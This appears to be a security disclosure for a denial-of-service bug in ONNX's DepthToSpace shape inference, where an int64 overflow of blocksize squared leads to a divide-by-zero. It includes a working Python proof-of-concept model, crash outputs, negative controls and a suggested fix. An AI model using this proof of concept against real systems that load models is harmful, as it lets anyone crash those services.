YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
DepthToSpace shape inference SIGFPE via int64 overflow of blocksize*blocksize (divide-by-zero)
Summary
DepthToSpace's shape-inference function in ONNX validates the attacker-controlled
blocksize attribute only with if (blocksize <= 0). It then computes the output
channel dimension by dividing by blocksize * blocksize. blocksize is an int64_t;
for blocksize = 2^32 (4294967296) the positivity guard passes, but the product
blocksize * blocksize == 2^64 wraps to exactly 0 in two's-complement int64.
The subsequent division of a concrete input dimension by this 0 is an integer
divide-by-zero, which raises SIGFPE and terminates the process.
Loading/validating an untrusted .onnx model (shape inference or checker.check_model
with full check) is therefore a denial-of-service: a single crafted model kills the
host process hard (no catchable Python exception).
- Target: onnx/onnx (ONNX standard / reference implementation)
- Version verified:
onnx1.22.0 (pip, Linux x86_64) - Operator:
DepthToSpace-13(schema shared by opset 11/13) - Crash class: SIGFPE (integer division by zero), signal 8, exit code 136
- Impact: Denial of service via crafted model file during shape inference / model checking
Root cause
onnx/defs/tensor/defs.cc, DepthToSpace-13 TypeAndShapeInferenceFunction:
.TypeAndShapeInferenceFunction([](InferenceContext& ctx) {
propagateElemTypeFromInputToOutput(ctx, 0, 0);
auto blocksize = getAttribute(ctx, "blocksize", 0);
if (blocksize <= 0) { // line 1993: only rejects <= 0
fail_shape_inference("Blocksize must be positive");
}
if (hasInputShape(ctx, 0)) {
auto& input_shape = getInputShape(ctx, 0);
if (input_shape.dim_size() == 4) {
updateOutputShape(
ctx,
0,
{input_shape.dim(0),
input_shape.dim(1) / (blocksize * blocksize), // line 2003: blocksize*blocksize
input_shape.dim(2) * blocksize, // overflows int64 -> 0
input_shape.dim(3) * blocksize});
} else {
fail_shape_inference("Input tensor must be 4-dimensional");
}
}
});
The division is performed by operator/(const TensorShapeProto::Dimension&, int64_t)
in onnx/defs/shape_inference.h:242:
inline TensorShapeProto::Dimension operator/(const TensorShapeProto::Dimension& dim1, int64_t dim2) {
TensorShapeProto::Dimension result;
if (dim1.has_dim_value()) {
result.set_dim_value(dim1.dim_value() / dim2); // dim2 == 0 -> SIGFPE
} else if (dim2 == 1) {
return dim1;
}
return result;
}
With blocksize = 4294967296:
blocksize > 0, so theblocksize <= 0guard passes.blocksize * blocksize = 2^64, which wraps to0as a signed 64-bit value.- The input channel dim is concrete (
has_dim_value()true), sodim_value() / 0executes and the process dies with SIGFPE.
Why SpaceToDepth is NOT affected
SpaceToDepth (same file, line ~1924) computes its output using
input_shape.dim(1) * (blocksize * blocksize) and divides only by blocksize
directly (dim(2) / blocksize, dim(3) / blocksize) β never by the squared value.
The overflow-to-zero of blocksize * blocksize there feeds a multiplication, not a
division, so no divide-by-zero occurs. Only DepthToSpace divides by the overflowing
square.
Proof of Concept
Minimal single-node DepthToSpace model, blocksize = 4294967296, rank-4 input X
with a concrete channel dim ([1,4,8,8]):
import onnx
from onnx import helper, TensorProto
import onnx.shape_inference as si
blocksize = 4294967296 # 2**32 ; > 0 (passes guard) but blocksize*blocksize overflows int64 -> 0
node = helper.make_node("DepthToSpace", ["X"], ["Y"], blocksize=blocksize, mode="DCR")
X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 4, 8, 8])
Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, None)
g = helper.make_graph([node], "d2s", [X], [Y])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
out = si.infer_shapes(m, strict_mode=True) # process dies here with SIGFPE
Crash paths (all reproduce the SIGFPE):
poc.pyβinfer_shapes(strict_mode=True)poc_nonstrict.pyβinfer_shapes(strict_mode=False)(default path)checker_poc2.pyβchecker.check_model(m, full_check=True)where the outputvalue_infocarries a concrete shape
Negative controls (no crash, clean exit 0):
neg.pyβblocksize=2(a valid divisor) ->Y = [1, 1, 16, 16]neg3.pyβblocksize=3(non-overflowing non-divisor) ->Y = [1, 0, 24, 24]
neg3.py is the key control: it divides 4 / 9 and completes cleanly, proving the
crash is specifically the int64 overflow of blocksize * blocksize to 0, not
the division operation itself.
Captured evidence (verbatim)
Environment: onnx 1.22.0, Python 3, Linux x86_64.
$ python3 poc.py ; echo EXIT $?
onnx 1.22.0 blocksize 4294967296 int64(bs*bs)= 0
calling infer_shapes(strict_mode=True)...
EXIT 136 # 128 + 8 = killed by SIGFPE (signal 8)
Signal decode via subprocess:
infer_shapes(strict_mode=True): returncode -8 -> killed by signal SIGFPE
infer_shapes(strict_mode=False): returncode 136 -> SIGFPE
checker.check_model(full_check=True): returncode -8 -> killed by signal SIGFPE
Negative controls:
$ python3 neg.py ; echo NEG EXIT $?
OK no crash, inferred Y = [1, 1, 16, 16]
NEG EXIT: 0
$ python3 neg3.py ; echo NEG3 EXIT $?
OK no crash, inferred Y = [1, 0, 24, 24]
NEG3 EXIT: 0
Re-verification run (this packaging), same machine:
=== RUN poc.py ===
onnx 1.22.0 blocksize 4294967296 int64(bs*bs)= 0
calling infer_shapes(strict_mode=True)...
EXIT 136
=== neg.py (bs=2) === OK no crash, inferred Y = [1, 1, 16, 16] EXIT 0
=== neg3.py (bs=3) === OK no crash, inferred Y = [1, 0, 24, 24] EXIT 0
=== poc_nonstrict.py === ... EXIT 136
=== checker_poc2.py === calling checker.check_model(full_check=True)... EXIT 136
Suggested fix
Reject blocksize values whose square overflows (or is not representable) before the
division β e.g. bound blocksize to a sane range, or check
blocksize > 0 && blocksize <= sqrt(INT64_MAX), or guard the divisor
blocksize * blocksize != 0 before dividing. More broadly, operator/ in
shape_inference.h could treat dim2 == 0 as an inference failure rather than
performing the hardware division.
Dedup note
- Distinct operator from other ONNX shape-inference SIGFPE/OOB reports in this account
(
splittoseq,split-numoutputs,gathernd-batchdims,onehot-depth,treeensemble-leafweights,einsum-ellipsis). The root cause here is specific toDepthToSpacedividing by the squaredblocksize, which overflows int64 to zero β a mechanism not shared by those reports. SpaceToDepth, the sibling operator, is explicitly NOT affected (it multiplies by the square and divides only by the rawblocksize), which distinguishes this from a generic "divide by blocksize" class.- No public CVE for this specific
DepthToSpaceint64-overflow divide-by-zero in ONNX shape inference was found at time of writing.